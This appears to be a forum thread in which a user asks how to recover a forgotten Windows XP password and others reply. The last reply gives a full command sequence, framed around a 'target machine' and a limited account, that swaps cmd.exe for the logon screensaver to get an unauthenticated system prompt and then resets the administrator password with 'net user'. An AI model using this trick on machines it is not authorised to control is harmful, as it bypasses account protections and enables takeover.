how to get xp password

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saransh

Right off the assembly line
hi,
i am saransh.i forgot my password of winxp professional edition and i had only one user account.Is there any thing that will get retrieve my password without formatting the windows. :eek:
 

Vishal Gupta

Microsoft MVP
Please read it, we hv a good tutorial for the same thing:

Resetting A Password (a.k.a. change the admin's password)
 

pothurichamu

Right off the assembly line
ADMIN PWD

:oops:
I TRIED THIS DOES NOT WORK

I WORK ON xp PROFESSIONAL

I TRIED GOING TO DOS MODE , TYPED THE COMMAND
DOES IT ALSO WORK FOR HOME DESKTOPS ?

WILL U PLEASE GIVE ME MORE INFO,

CAN WE CHANGE THE ADMN PWD WHEN IT IS LOCKED / FORGOT
 

Tushar.bar

Journeyman
:shock: if u previously create a admin acount the default accout would hidden. In that case simply press F8 during boot and go safe mode and log in using default admin acount and del u r account .
 

ghemant

Broken In
Hi,
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This worked for me on both Windows XP Home and Pro.
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Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)
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cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
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Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"
If the Administrator Account is called Admin and you want the password THEGOOD enter this
"net user ADMIN THEGOOD"

Best Regards
 
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